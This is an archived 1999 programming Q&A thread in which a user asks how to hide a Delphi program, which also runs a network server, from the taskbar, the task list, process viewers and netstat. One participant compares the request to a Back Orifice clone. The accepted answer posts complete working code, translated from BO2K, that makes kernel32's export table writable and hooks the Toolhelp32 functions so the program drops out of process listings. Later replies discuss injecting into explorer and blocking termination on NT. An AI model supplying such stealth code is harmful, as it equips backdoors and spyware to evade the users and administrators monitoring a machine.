|
From: menorcanet
Date: 07/22/1999 06:50PM PST
Answer Grade: A
Points: 50
|
|
ok, I want to completely hide my program.. that means.. 17 Hide it from the task bar 27 Hide it from ctrl+alt+del 37 Hide it from programs such as Wintop 47 Hide it also when it's ran as a service 57 If it uses TServerSocket, the connection made by my program must not be shown with NETSTAT or any of those commands that show the current internet connections.
|
EE is totally Free & Sign-up is quick and easy |
Rejected Answer from viktornet
|
07/22/1999 06:57PM PST
|
here... hiding from taskbar...
ShowWindow(Application.Handle, SW_HIDE);
for tht ctrl-del-alt thingy here is the code...
Const RSP_SIMPLE_SERVICE = 1; Const RSP_UNREGISTER_SERVICE = 0;
//hide RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE); //show RegisterServiceProcess(GetCurrentProcessId, RSP_UNREGISTER_SERVICE);
this should be able to hide your application completely.... try it out...
..-=ViKtOr=-..
|
Comment from Gwena
|
07/22/1999 07:02PM PST
|
Hmmmm ;-)
So you need a program that nobody can tell is running And it is running a server on the net.....Hmmmmm Sounds like a recipe for a back-orifice clone of some sort... psssssst.....What R U up to anyway? (I can keep a secret)
;-)
|
Comment from inthe
|
07/22/1999 07:23PM PST
|
how that gonna stop wintop or netstat? hungry for 500 points i think :-)
|
Comment from viktornet
|
07/22/1999 07:28PM PST
|
menorcaret, please REJECT my answer...
i'm otta here....
|
Comment from Gwena
|
07/22/1999 07:38PM PST
|
Hmmmm ;-)
So you need a program that nobody can tell is running And it is running a server on the net.....Hmmmmm Sounds like a recipe for a back-orifice clone of some sort... psssssst.....What R U up to anyway? (I can keep a secret)
;-)
|
Comment from inthe
|
07/22/1999 07:47PM PST
|
>>menorcaret, please REJECT my answer... why ?? you deserve some points for answereing 2 of the 5. i think the other 3 may not be possible anyway.
>>47 Hide it also when it's ran as a service well WHEN you do this as viktor correctly did: Const RSP_UNREGISTER_SERVICE = 0; //hide RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE); for the reason of hiding a app by telling windows its a service.so the answer to q2 and q4 conflict with each other.
>>how that gonna stop wintop or netstat? id seriously doubt thats possible i was just kidding around.... id say dont reject viks answer just wait to see if anyone else can do more than 2. (may be a long wait though)
|
Comment from viktornet
|
07/22/1999 07:50PM PST
|
>>why ?? to make you happy...
|
Comment from inthe
|
07/22/1999 07:53PM PST
|
sh*t mate just ignore me im just jealous of 500 points for easy(ish) question ;-)
|
Comment from viktornet
|
07/22/1999 08:01PM PST
|
i'm too damn sick of this shit... i prefer the answer to be rejected than someone being jealous of the 500 (easy???) points...
|
Comment from Madshi
|
07/22/1999 11:17PM PST
|
Hi guys, it *IS* possible to hide your program from WinTop. But I don't know about NetStat.
Download the sources from BackOrifice2000 here: http://www.bo2k.com
In the unit "process_hop.cpp" you'll find everything you need to hide your program from WinTop. Though - you surely have noticed - these are C++ sources. Much fun with converting the sources... :-)
Regards, Madshi.
|
Comment from simonet
|
07/23/1999 12:02AM PST
|
Hi Madshi!
>Much fun with converting the sources... :-)
Anything can be done given enough time. Given enough time, nothing has to be done anymore!
Alex
|
Comment from Madshi
|
07/23/1999 12:24AM PST
|
:-)
|
Comment from menorcanet
|
07/23/1999 05:06AM PST
|
""RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE); ""
delphi says: undeclared indentifier: RegisterSerViceProcess
>Hmmmm ;-)
>So you need a program that nobody can tell is running >And it is running a server on the net.....Hmmmmm >Sounds like a recipe for a back-orifice clone of some >sort... >psssssst.....What R U up to anyway? (I can keep a secret)
>;-)
just that I'd like to able to do so..
>menorcaret, please REJECT my answer... >i'm otta here....
ok
I won't give 500 points for only some parts.. but maybe I'll increase the points if I can get the full solution, or I could delete this and post some q. for each of who gives me a part to have a part of the points..
I'll accept the answer with an A.
I'm gonna check that about bk2000.. will be back :)
|
Comment from Epsylon
|
07/23/1999 09:33AM PST
|
Madshi, there are no sources available right now. Do you have them?
|
Comment from menorcanet
|
07/23/1999 10:08AM PST
|
checked the source.. too difficult for me.. :(
|
Comment from Madshi
|
07/23/1999 10:32AM PST
|
It *IS* difficult... :-/
Do you need this stuff for win9x or for winNt or for both?
|
Comment from menorcanet
|
07/23/1999 12:43PM PST
|
should work on both
|
Comment from inthe
|
07/23/1999 02:20PM PST
|
>>undeclared indentifier: RegisterSerViceProcess
you need to write the function first put this after the {$R *.DFM} line:
function RegisterServiceProcess(dwProcessID,dwType : DWORD) : DWORD; stdcall; external 'KERNEL32.DLL';
|
Comment from viktornet
|
07/23/1999 05:15PM PST
|
the code in that source code isn't that hard... as a matter of fact, it's pretty basic... go check the source codes in sysinternals.com or whatever it was.... then you will see what IS dificult :) hehe.. lotsa tricks are used in the source codes of sysinternals.com.. they guyz are prolly some M$ workers and know all about Windows and shit :)))
|
Comment from bryan7
|
07/25/1999 01:30PM PST
|
well. someone could translate that C code to delphi ?
|
Comment from menorcanet
|
07/25/1999 01:48PM PST
|
ouch, didn't realise I was using my job acount..
so.. noone wants 2000 points ?
|
Comment from Madshi
|
07/25/1999 02:05PM PST
|
Of course I would like to get 2000 points. But I've not the time to translate ALL that stuff to Delphi! The win9x part is not too difficult, I think. But the NT part is tricky, don't know if you can simply copy Delphi programs into a new thread in another process. I would have to do several tests, and I've not enough time for that... :-(
|
Comment from menorcanet
|
07/25/1999 02:53PM PST
|
well.. then just for Win9x..
|
Comment from Madshi
|
07/25/1999 11:19PM PST
|
Ok, I'll do it, but you will have to wait till next weekend...
|
Comment from Jaymol
|
07/26/1999 06:29AM PST
|
You want to hide your program COMPLETELY from Windows NT?
|
Comment from chengjian
|
07/26/1999 07:52AM PST
|
It's a good question, but seems imposible:-( I think if it spend 500 on a registerservice, it's too expensive:-)
|
Comment from menorcanet
|
07/26/1999 09:57AM PST
|
ok, I'll wait.. I don't hurry for this... I don't need it now
|
Comment from Jaymol
|
07/28/1999 08:03AM PST
|
I know how it is done though...
|
Accepted Answer from Madshi
|
07/28/1999 10:36AM PST
|
Hi guys,
well, here comes the win9x solution. It compiles&runs fine with D3&D4. Don't know about D2. Two notes: (1) This code does only effect programs that were started AFTER you called "HookToolhelp". You should also call RegisterServiceProcess to complete the hiding. (2) You MUST NOT close your program without rebooting Windows!! Otherwise all of the programs that were started after you called "HookToolhelp" will crash as soon as they call one of the toolhelp functions.
The code is a simple translation of a part of this code:
http://www.bo2k.com/warez/bo2ksrc.zip
Simply create a new application, drop two buttons on the form, name the first one "HideMe" and the second one "ShowMe". Then connect the event handlers of the two buttons.
Hmmmm... You talked about 2000 points for a complete solution. So this should be worth 1000 points, right!? :-)) And if you like this code, I would be glad about an A grade... :-))
Regards, Madshi.
unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private-Deklarationen } public { Public-Deklarationen } end;
var Form1: TForm1;
implementation
{$R *.DFM}
const CENEWHDR = $003C; // offset of new EXE header CEMAGIC = $5A4D; // old EXE magic id: 'MZ' CPEMAGIC = $4550; // NT portable executable type TImageExportDirectory = packed record Characteristics : dword; TimeDateStamp : dword; MajorVersion : word; MinorVersion : word; Name : dword; Base : dword; NumberOfFunctions : dword; NumberOfNames : dword; AddressOfFunctions : cardinal; AddressOfNames : cardinal; AddressOfNameOrdinals : cardinal; end; TPImageExportDirectory = ^TImageExportDirectory;
type TPWord = ^word; TAWord = array [0..maxInt shr 1-1] of word; TPAWord = ^TAWord; TACardinal = array [0..maxInt shr 2-1] of cardinal; TPACardinal = ^TACardinal; TAInteger = array [0..maxInt shr 2-1] of integer; TPAInteger = ^TAInteger;
function GetModuleNtHeaders(module: cardinal) : PImageNtHeaders; begin result:=nil; try if TPWord(module)^<>CEMAGIC then exit; result:=pointer(module+TPWord(module+CENEWHDR)^); if result^.signature<>CPEMAGIC then result:=nil; except result:=nil; end; end;
function GetModuleExportDirectory(module: cardinal) : TPImageExportDirectory; begin result:=nil; try result:=pointer(module+GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); except end; end;
function GetProcAddress_(module: cardinal; ord: cardinal) : pointer; var exp : TPImageExportDirectory; begin result:=nil; try exp:=GetModuleExportDirectory(module); if exp<>nil then with exp^ do if ord<NumberOfFunctions then result:=pointer(module+TPACardinal(module+AddressOfFunctions)^[ord]); except end; end;
function SetProcAddress(module: cardinal; procName: string; newAdr: pointer) : boolean; var exp : TPImageExportDirectory; i1 : integer; begin result:=false; try exp:=GetModuleExportDirectory(module); if exp<>nil then with exp^ do for i1:=0 to NumberOfNames-1 do if pchar(module+TPACardinal(module+exp.AddressOfNames)^[i1])=procName then begin TPAInteger(module+AddressOfFunctions)^[TPAWord(module+exp.AddressOfNameOrdinals)^[i1]]:=integer(newAdr)-integer(module); result:=true; break; end; except end; end;
function UnprotectExportTable(module: cardinal) : boolean; var exp : TPImageExportDirectory; size : cardinal; fa : cardinal; // firstAddress fp,np : cardinal; // firstPage / numPages vxdcall : pointer; begin result:=false; try // Check for kernel32.dll export table size:=GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; if size=0 then exit; // Good, we have an export table. Lets get it. exp:=GetModuleExportDirectory(module); // Change protection on kernel32.dll export table (make writable) // (can't use "VirtualProtect") fa:=module+exp^.AddressOfFunctions; fp:=fa div 4096; np:=(((fa mod 4096 + exp^.NumberOfFunctions)*4)+4095) div 4096; dec(fa,fa mod 4096); result:=not IsBadWritePtr(pointer(fa),np*4096); if not result then begin // Get undocumented VxDCall procedure vxdcall:=GetProcAddress_(GetModuleHandle(kernel32),1); if @vxdcall=nil then exit; asm push 020060000h // PC_WRITEABLE | PC_USER | PC_STATIC push 0FFFFFFFFh // Keep all previous bits push dword ptr [np] // dword ptr [mbi+0Ch] # of pages push dword ptr [fp] // dword ptr [ped] page # push 1000Dh // _PageModifyPermissions (win32_service_table #) call dword ptr [vxdcall] // VxDCall0 end; result:=not IsBadWritePtr(pointer(fa),np*4096); end; except end; end;
const MAX_MODULE_NAME32 = 255; type TProcessEntry32 = record dwSize : DWORD; cntUsage : DWORD; th32ProcessID : DWORD; // this process th32DefaultHeapID : DWORD; th32ModuleID : DWORD; // associated exe cntThreads : DWORD; th32ParentProcessID : DWORD; // this process's parent process pcPriClassBase : integer; // Base priority of process's threads dwFlags : DWORD; szExeFile : array [0..MAX_PATH-1] of char; // Path end; TThreadEntry32 = record dwSize : DWORD; cntUsage : DWORD; th32ThreadID : DWORD; // this thread th32OwnerProcessID : DWORD; // Process this thread is associated with tpBasePri : integer; tpDeltaPri : integer; dwFlags : DWORD; end; TModuleEntry32 = record dwSize : DWORD; th32ModuleID : DWORD; // This module th32ProcessID : DWORD; // owning process GlblcntUsage : DWORD; // Global usage count on the module ProccntUsage : DWORD; // Module usage count in th32ProcessID's context modBaseAddr : pointer; // Base address of module in th32ProcessID's context modBaseSize : DWORD; // Size in bytes of module starting at modBaseAddr hModule : HMODULE; // The hModule of this module in th32ProcessID's context szModule : array [0..MAX_MODULE_NAME32] of char; szExePath : array [0..MAX_PATH-1] of char; end;
type TProcessWalk = function (snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; TThreadWalk = function (snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; TModuleWalk = function (snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall;
function HookedProcess32First(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; begin result:=TProcessWalk($22222222)(snapshotHandle,pe32); if not result then exit; while pe32.th32ProcessID=$11111111 do begin result:=TProcessWalk($33333333)(snapshotHandle,pe32); if not result then exit; end; result:=true; end;
function HookedProcess32Next(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; begin repeat result:=TProcessWalk($33333333)(snapshotHandle,pe32); if not result then exit; until pe32.th32ProcessID<>$11111111; result:=true; end;
function HookedThread32First(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; begin result:=TThreadWalk($44444444)(snapshotHandle,te32); if not result then exit; while te32.th32OwnerProcessID=$11111111 do begin result:=TThreadWalk($55555555)(snapshotHandle,te32); if not result then exit; end; result:=true; end;
function HookedThread32Next(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; begin repeat result:=TThreadWalk($55555555)(snapshotHandle,te32); if not result then exit; until te32.th32OwnerProcessID<>$11111111; result:=true; end;
function HookedModule32First(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; begin result:=TModuleWalk($66666666)(snapshotHandle,me32); if not result then exit; while me32.th32ProcessID=$11111111 do begin result:=TModuleWalk($77777777)(snapshotHandle,me32); if not result then exit; end; result:=true; end;
function HookedModule32Next(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; begin repeat result:=TModuleWalk($77777777)(snapshotHandle,me32); if not result then exit; until me32.th32ProcessID<>$11111111; result:=true; end;
procedure HookToolhelpEnd; begin end;
var oldAdr : array [0..5] of pointer = (nil,nil,nil,nil,nil,nil); hookCode : pointer = nil;
function HookToolhelp : boolean; var dll : cardinal; cs : cardinal; // codeSize pid : cardinal; i1 : integer; pc : ^cardinal; begin result:=false; try dll:=GetModuleHandle(kernel32); if not UnprotectExportTable(dll) then exit; // Get shared memory cs:=cardinal(@HookToolhelpEnd)-cardinal(@HookedProcess32First); if hookCode=nil then hookCode:=VirtualAlloc(pointer($9CDC0000),cs,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE); if hookCode=nil then exit; hookCode:=pointer($9CDC0000); // Copy code into shared memory Move(pointer(@HookedProcess32First)^,hookCode^,cs); // Store procedure addresses pid:=GetCurrentProcessId; oldAdr[0]:=GetProcAddress(dll,'Process32First'); oldAdr[1]:=GetProcAddress(dll,'Process32Next' ); oldAdr[2]:=GetProcAddress(dll,'Thread32First' ); oldAdr[3]:=GetProcAddress(dll,'Thread32Next' ); oldAdr[4]:=GetProcAddress(dll,'Module32First' ); oldAdr[5]:=GetProcAddress(dll,'Module32Next' ); // Modify code to correct addresses for i1:=0 to cs-5 do begin pc:=pointer(integer(hookCode)+i1); case pc^ of $11111111 : pc^:=pid; $22222222 : pc^:=cardinal(oldAdr[0]); $33333333 : pc^:=cardinal(oldAdr[1]); $44444444 : pc^:=cardinal(oldAdr[2]); $55555555 : pc^:=cardinal(oldAdr[3]); $66666666 : pc^:=cardinal(oldAdr[4]); $77777777 : pc^:=cardinal(oldAdr[5]); end; end; // Now we modify the export table to point to our replacement code SetProcAddress(dll,'Process32First',hookCode); SetProcAddress(dll,'Process32Next', pointer(integer(hookCode)+integer(@HookedProcess32Next)-integer(@HookedProcess32First))); SetProcAddress(dll,'Thread32First', pointer(integer(hookCode)+integer(@HookedThread32First)-integer(@HookedProcess32First))); SetProcAddress(dll,'Thread32Next', pointer(integer(hookCode)+integer(@HookedThread32Next )-integer(@HookedProcess32First))); SetProcAddress(dll,'Module32First', pointer(integer(hookCode)+integer(@HookedModule32First)-integer(@HookedProcess32First))); SetProcAddress(dll,'Module32Next', pointer(integer(hookCode)+integer(@HookedModule32Next )-integer(@HookedProcess32First))); result:=true; except end; end;
function UnhookToolhelp : boolean; var dll : cardinal; begin result:=false; try dll:=GetModuleHandle(kernel32); SetProcAddress(dll,'Process32First',oldAdr[0]); SetProcAddress(dll,'Process32Next', oldAdr[1]); SetProcAddress(dll,'Thread32First', oldAdr[2]); SetProcAddress(dll,'Thread32Next', oldAdr[3]); SetProcAddress(dll,'Module32First', oldAdr[4]); SetProcAddress(dll,'Module32Next', oldAdr[5]); result:=true; except end; end;
procedure TForm1.Button1Click(Sender: TObject); begin HookToolhelp; end;
procedure TForm1.Button2Click(Sender: TObject); begin UnhookToolhelp; end;
end.
|
Comment from menorcanet
|
07/28/1999 01:57PM PST
|
Hi.. I'll check it now..
" Hmmmm... You talked about 2000 points for a complete solution. So this should be worth 1000 points, right!? :-)) And if you like this code, I would be glad about an A grade... :-)) "
well.. 2000 ... I meant I would give an A grade.. 500x4 .. I don't have 2000 points.. ;)
|
Comment from Madshi
|
07/28/1999 10:06PM PST
|
Ahh... :-) Ok, no prob... :-)
|
Comment from menorcanet
|
07/29/1999 09:37AM PST
|
hmm.. please check what I'm doing wrong.. it's still visible to wintop..
unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;
type TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private-Deklarationen } public { Public-Deklarationen } end;
var Form1: TForm1;
implementation
{$R *.DFM}
Const RSP_SIMPLE_SERVICE = 1; Const RSP_UNREGISTER_SERVICE = 0;
const CENEWHDR = $003C; // offset of new EXE header CEMAGIC = $5A4D; // old EXE magic id: 'MZ' CPEMAGIC = $4550; // NT portable executable type TImageExportDirectory = packed record Characteristics : dword; TimeDateStamp : dword; MajorVersion : word; MinorVersion : word; Name : dword; Base : dword; NumberOfFunctions : dword; NumberOfNames : dword; AddressOfFunctions : cardinal; AddressOfNames : cardinal; AddressOfNameOrdinals : cardinal; end; TPImageExportDirectory = ^TImageExportDirectory;
type TPWord = ^word; TAWord = array [0..maxInt shr 1-1] of word; TPAWord = ^TAWord; TACardinal = array [0..maxInt shr 2-1] of cardinal; TPACardinal = ^TACardinal; TAInteger = array [0..maxInt shr 2-1] of integer; TPAInteger = ^TAInteger;
function RegisterServiceProcess(dwProcessID,dwType : DWORD) : DWORD; stdcall; external 'KERNEL32.DLL';
function GetModuleNtHeaders(module: cardinal) : PImageNtHeaders; begin result:=nil; try if TPWord(module)^<>CEMAGIC then exit; result:=pointer(module+TPWord(module+CENEWHDR)^); if result^.signature<>CPEMAGIC then result:=nil; except result:=nil; end; end;
function GetModuleExportDirectory(module: cardinal) : TPImageExportDirectory; begin result:=nil; try result:=pointer(module+GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); except end; end;
function GetProcAddress_(module: cardinal; ord: cardinal) : pointer; var exp : TPImageExportDirectory; begin result:=nil; try exp:=GetModuleExportDirectory(module); if exp<>nil then with exp^ do if ord<NumberOfFunctions then result:=pointer(module+TPACardinal(module+AddressOfFunctions)^[ord]); except end; end;
function SetProcAddress(module: cardinal; procName: string; newAdr: pointer) : boolean; var exp : TPImageExportDirectory; i1 : integer; begin result:=false; try exp:=GetModuleExportDirectory(module); if exp<>nil then with exp^ do for i1:=0 to NumberOfNames-1 do if pchar(module+TPACardinal(module+exp.AddressOfNames)^[i1])=procName then begin TPAInteger(module+AddressOfFunctions)^[TPAWord(module+exp.AddressOfNameOrdinals)^[i1]]:=integer(newAdr)-integer(module); result:=true; break; end; except end; end;
function UnprotectExportTable(module: cardinal) : boolean; var exp : TPImageExportDirectory; size : cardinal; fa : cardinal; // firstAddress fp,np : cardinal; // firstPage / numPages vxdcall : pointer; begin result:=false; try // Check for kernel32.dll export table size:=GetModuleNtHeaders(module)^.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size; if size=0 then exit; // Good, we have an export table. Lets get it. exp:=GetModuleExportDirectory(module); // Change protection on kernel32.dll export table (make writable) // (can't use "VirtualProtect") fa:=module+exp^.AddressOfFunctions; fp:=fa div 4096; np:=(((fa mod 4096 + exp^.NumberOfFunctions)*4)+4095) div 4096; dec(fa,fa mod 4096); result:=not IsBadWritePtr(pointer(fa),np*4096); if not result then begin // Get undocumented VxDCall procedure vxdcall:=GetProcAddress_(GetModuleHandle(kernel32),1); if @vxdcall=nil then exit; asm push 020060000h // PC_WRITEABLE | PC_USER | PC_STATIC push 0FFFFFFFFh // Keep all previous bits push dword ptr [np] // dword ptr [mbi+0Ch] # of pages push dword ptr [fp] // dword ptr [ped] page # push 1000Dh // _PageModifyPermissions (win32_service_table #) call dword ptr [vxdcall] // VxDCall0 end; result:=not IsBadWritePtr(pointer(fa),np*4096); end; except end; end;
const MAX_MODULE_NAME32 = 255; type TProcessEntry32 = record dwSize : DWORD; cntUsage : DWORD; th32ProcessID : DWORD; // this process th32DefaultHeapID : DWORD; th32ModuleID : DWORD; // associated exe cntThreads : DWORD; th32ParentProcessID : DWORD; // this process's parent process pcPriClassBase : integer; // Base priority of process's threads dwFlags : DWORD; szExeFile : array [0..MAX_PATH-1] of char; // Path end; TThreadEntry32 = record dwSize : DWORD; cntUsage : DWORD; th32ThreadID : DWORD; // this thread th32OwnerProcessID : DWORD; // Process this thread is associated with tpBasePri : integer; tpDeltaPri : integer; dwFlags : DWORD; end; TModuleEntry32 = record dwSize : DWORD; th32ModuleID : DWORD; // This module th32ProcessID : DWORD; // owning process GlblcntUsage : DWORD; // Global usage count on the module ProccntUsage : DWORD; // Module usage count in th32ProcessID's context modBaseAddr : pointer; // Base address of module in th32ProcessID's context modBaseSize : DWORD; // Size in bytes of module starting at modBaseAddr hModule : HMODULE; // The hModule of this module in th32ProcessID's context szModule : array [0..MAX_MODULE_NAME32] of char; szExePath : array [0..MAX_PATH-1] of char; end;
type TProcessWalk = function (snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; TThreadWalk = function (snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; TModuleWalk = function (snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall;
function HookedProcess32First(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; begin result:=TProcessWalk($22222222)(snapshotHandle,pe32); if not result then exit; while pe32.th32ProcessID=$11111111 do begin result:=TProcessWalk($33333333)(snapshotHandle,pe32); if not result then exit; end; result:=true; end;
function HookedProcess32Next(snapshotHandle: cardinal; var pe32: TProcessEntry32) : bool; stdcall; begin repeat result:=TProcessWalk($33333333)(snapshotHandle,pe32); if not result then exit; until pe32.th32ProcessID<>$11111111; result:=true; end;
function HookedThread32First(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; begin result:=TThreadWalk($44444444)(snapshotHandle,te32); if not result then exit; while te32.th32OwnerProcessID=$11111111 do begin result:=TThreadWalk($55555555)(snapshotHandle,te32); if not result then exit; end; result:=true; end;
function HookedThread32Next(snapshotHandle: cardinal; var te32: TThreadEntry32) : bool; stdcall; begin repeat result:=TThreadWalk($55555555)(snapshotHandle,te32); if not result then exit; until te32.th32OwnerProcessID<>$11111111; result:=true; end;
function HookedModule32First(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; begin result:=TModuleWalk($66666666)(snapshotHandle,me32); if not result then exit; while me32.th32ProcessID=$11111111 do begin result:=TModuleWalk($77777777)(snapshotHandle,me32); if not result then exit; end; result:=true; end;
function HookedModule32Next(snapshotHandle: cardinal; var me32: TModuleEntry32) : bool; stdcall; begin repeat result:=TModuleWalk($77777777)(snapshotHandle,me32); if not result then exit; until me32.th32ProcessID<>$11111111; result:=true; end;
procedure HookToolhelpEnd; begin end;
var oldAdr : array [0..5] of pointer = (nil,nil,nil,nil,nil,nil); hookCode : pointer = nil;
function HookToolhelp : boolean; var dll : cardinal; cs : cardinal; // codeSize pid : cardinal; i1 : integer; pc : ^cardinal; begin result:=false; try dll:=GetModuleHandle(kernel32); if not UnprotectExportTable(dll) then exit; // Get shared memory cs:=cardinal(@HookToolhelpEnd)-cardinal(@HookedProcess32First); if hookCode=nil then hookCode:=VirtualAlloc(pointer($9CDC0000),cs,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE); if hookCode=nil then exit; hookCode:=pointer($9CDC0000); // Copy code into shared memory Move(pointer(@HookedProcess32First)^,hookCode^,cs); // Store procedure addresses pid:=GetCurrentProcessId; oldAdr[0]:=GetProcAddress(dll,'Process32First'); oldAdr[1]:=GetProcAddress(dll,'Process32Next' ); oldAdr[2]:=GetProcAddress(dll,'Thread32First' ); oldAdr[3]:=GetProcAddress(dll,'Thread32Next' ); oldAdr[4]:=GetProcAddress(dll,'Module32First' ); oldAdr[5]:=GetProcAddress(dll,'Module32Next' ); // Modify code to correct addresses for i1:=0 to cs-5 do begin pc:=pointer(integer(hookCode)+i1); case pc^ of $11111111 : pc^:=pid; $22222222 : pc^:=cardinal(oldAdr[0]); $33333333 : pc^:=cardinal(oldAdr[1]); $44444444 : pc^:=cardinal(oldAdr[2]); $55555555 : pc^:=cardinal(oldAdr[3]); $66666666 : pc^:=cardinal(oldAdr[4]); $77777777 : pc^:=cardinal(oldAdr[5]); end; end; // Now we modify the export table to point to our replacement code SetProcAddress(dll,'Process32First',hookCode); SetProcAddress(dll,'Process32Next', pointer(integer(hookCode)+integer(@HookedProcess32Next)-integer(@HookedProcess32First))); SetProcAddress(dll,'Thread32First', pointer(integer(hookCode)+integer(@HookedThread32First)-integer(@HookedProcess32First))); SetProcAddress(dll,'Thread32Next', pointer(integer(hookCode)+integer(@HookedThread32Next )-integer(@HookedProcess32First))); SetProcAddress(dll,'Module32First', pointer(integer(hookCode)+integer(@HookedModule32First)-integer(@HookedProcess32First))); SetProcAddress(dll,'Module32Next', pointer(integer(hookCode)+integer(@HookedModule32Next )-integer(@HookedProcess32First))); result:=true; except end; end;
function UnhookToolhelp : boolean; var dll : cardinal; begin result:=false; try dll:=GetModuleHandle(kernel32); SetProcAddress(dll,'Process32First',oldAdr[0]); SetProcAddress(dll,'Process32Next', oldAdr[1]); SetProcAddress(dll,'Thread32First', oldAdr[2]); SetProcAddress(dll,'Thread32Next', oldAdr[3]); SetProcAddress(dll,'Module32First', oldAdr[4]); SetProcAddress(dll,'Module32Next', oldAdr[5]); result:=true; except end; end;
procedure TForm1.Button1Click(Sender: TObject); begin HookToolhelp; end;
procedure TForm1.Button2Click(Sender: TObject); begin UnhookToolhelp; end;
procedure TForm1.FormCreate(Sender: TObject); begin ShowWindow(Application.Handle, SW_HIDE); RegisterServiceProcess(GetCurrentProcessId, RSP_SIMPLE_SERVICE); end;
end.
|
Comment from Madshi
|
07/29/1999 09:42AM PST
|
Have you connected the event handlers of the buttons?
Change this:
procedure TForm1.Button1Click(Sender: TObject); begin if HookToolhelp then caption:='hook ok' else caption:='hook error'; end;
procedure TForm1.Button2Click(Sender: TObject); begin if UnhookToolhelp then caption:='unhook ok' else caption:='unhook error'; end;
Hmm. And you must start WinTop AFTER you pressed button1.
Regards, Madshi.
|
Comment from menorcanet
|
07/30/1999 03:44AM PST
|
Madshi.. seemed to work.. thanx
now there's only left point 5. about netstat, and the NT thing..
I tried on NT and it says that RegisterServ... doesn't exist.. or something
|
Comment from Madshi
|
07/30/1999 04:13AM PST
|
Well, as I already said, I don't know about NETSTAT. Sorry, can't help you with that. And the NT solution is quite difficult. As I also said, I would have to do a lot of testing - I don't have the time for that. RegisterServiceProcess does not work under NT. The idea that BackOrifice is using is that you put your whole program into a thread of another program (e.g. the explorer). But that's quite difficult...
Regards, Madshi.
|
Comment from menorcanet
|
07/31/1999 05:05PM PST
|
""The idea that BackOrifice is using is that you put your whole program into a thread of another program (e.g. the explorer). But that's quite difficult... ""
umm.. I don't understand it..
well.. that's ok.. I can't hide it from NT with Wintop.. but.. how to hide from ctrl+alt+del if there's no 'Regis.. ' in NT ?
|
Comment from menorcanet
|
07/31/1999 05:05PM PST
|
""The idea that BackOrifice is using is that you put your whole program into a thread of another program (e.g. the explorer). But that's quite difficult... ""
umm.. I don't understand it..
well.. that's ok.. I can't hide it from NT with Wintop.. but.. how to hide from ctrl+alt+del if there's no 'Regis.. ' in NT ?
how do I know if the system is win9x or nt ?
|
Comment from Madshi
|
08/01/1999 02:09AM PST
|
There's variable "Win32Platform" in SysUtils:
var win9x, winNt: boolean; begin win9x:=Win32Platform=VER_PLATFORM_WIN32_WINDOWS; winNt:=Win32Platform=VER_PLATFORM_WIN32_NT;
In NT you can make your app to be a service app, too. But you can't simply call RegisterServiceProcess. There's much more than you need to do - and there are some things that you can't do as a NT service process. It's quite difficult. And I never wrote any service processes.
On this site: "http://www.jgsoftware.com/nt.htm" you will find some examples about NT services.
But AFAIK that doesn't hide your process from the tasklist. But I guess you can protect it from being terminated then.
Regards, Madshi.
|
Comment from Madshi
|
08/02/1999 09:32AM PST
|
One addition: I think without the "ugly" Back Orifice hack you can't hide your process in NT. But you can prevent users from terminating your process. Would that be good enough? You can call SetSecurityInfo(processHandle,SE_KERNEL_OBJECT,...). I didn't test it yet, but I think it should work. But the problem is you need to give in a valid ACL, and it's quite hard stuff to create a valid new ACL in NT... :-(
Regards, Madshi.
|
Comment from bryan7
|
08/02/1999 11:26AM PST
|
sounds good enough if they can't stop it.. :) "em is you need to give in a valid ACL," <-- what's that ?
I'll test the NT code right now..
|
Comment from Madshi
|
08/02/1999 12:00PM PST
|
Hi Bryan,
what NT code do you mean, that you want to test?
Well, an ACL is an access control list, which is a list of ACEs (access control entries). An ACE consists of the securityID of a user (e.g. "Everyone" or "Administrator"), the access flags and some other (not so important things). There are several different sets of functions with which you can edit ACLs, but they're all quite ugly.
In the meanwhile I've tested SetSecurityInfo, but I can't get it to work. I'm working on this issue.
Regards, Madshi.
|
Comment from bryan7
|
08/02/1999 12:59PM PST
|
""what NT code do you mean, that you want to test? ""
this:
var win9x, winNt: boolean; begin win9x:=Win32Platform=VER_PLATFORM_WIN32_WINDOWS; winNt:=Win32Platform=VER_PLATFORM_WIN32_NT;
and this: SetSecurityInfo(processHandle,SE_KERNEL_OBJECT,...)
|
Comment from Madshi
|
08/02/1999 01:11PM PST
|
Much fun!! Especially when creating the ACL... #8-O
|
Comment from rwilson
|
08/02/1999 02:31PM PST
|
Listening...
|
Comment from Madshi
|
08/03/1999 02:07AM PST
|
